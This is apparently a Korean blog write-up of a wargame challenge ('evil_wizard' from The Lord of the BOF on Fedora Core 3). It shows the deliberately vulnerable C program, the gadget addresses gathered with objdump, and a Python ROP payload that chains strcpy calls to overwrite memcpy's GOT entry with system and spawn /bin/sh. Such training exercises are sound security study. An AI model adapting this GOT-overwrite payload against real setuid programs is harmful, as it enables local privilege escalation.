1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - evil_wizard
    - Local BOF on Fedora Core 3 
    - hint : GOT overwriting
*/
 
// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
    int length; 
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // for disturbance RET sleding
    length = strlen(argv[1]);
   
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());
 
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, argv[1]);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
    printf("%s\n", buffer);
}
 
cs


힌트는 GOT overwrite다. 아예 매직포션이라고 pop-pop-ret 가젯을 준다.

힐링포션으로 setreuid도 해주므로... 우리가 할 것은 system함수로 "/bin/sh" 등을 인자로 넣어주면 될 것같다.


코드를 보면 ret sled는 막혓고(스택에 있는 값을 지워버린다) sfp또한 저장되었다가 restore된다.

GOT overwrite를 수행해야한다...


필요한 가젯들을 모아보자.


memcpy_plt : 0x8048434

strcpy_plt : 0x8048494

memcpy_got : 0x8049888    //값: 0x007854c0


pop-pop-ret : 0x0804854f


/bin/sh : 0x833603


system : 0x7507c0

c0 : //memcpy_got의 마지막값이 c0이라 일단 보류

07 : 0x8048154

75 : 0x80482c8

00 : 0x8049840


objdump와 grep을 쓰면 system함수를 만들 가젯들을 찾기 쉽다.


objdump -s evil_wizard | grep ?? --color=auto



strcpy(memcpy_got, &c0), strcpy(memcpy_got+1, &07), strcpy(memcpy_got+2, &75), strcpy(memcpy_got+3, &00)을 수행하면 되고


이것들을 연속적으로 호출하기 위해서 pop-pop-ret가젯이 필요하다.


strcpy주소 - ppr주소 - 인자1 - 인자2 - strcpy주소 - ppr주소 .... 이런식으로 이뤄진다.


payload를 짜보자. python을 이용하겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from struct import *
= lambda x : pack('<L', x)
 
memcpy_plt = p(0x8048434)
strcpy_plt = p(0x8048494)
memcpy_got = 0x8049888
 
ppr = p(0x0804854f)
bin_sh=p(0x833603)
 
payload  = "A"*268
payload += strcpy_plt+ppr+p(memcpy_got+1)+p(0x8048154)
payload += strcpy_plt+ppr+p(memcpy_got+2)+p(0x80482c8)
payload += strcpy_plt+ppr+p(memcpy_got+3)+p(0x8049840)
payload += memcpy_plt + "BBBB" + bin_sh
 
 
 
 
 
print(payload)
 
cs


공격!!!!



한번에 성공했다... 이럴수가;; 굿...


+ Recent posts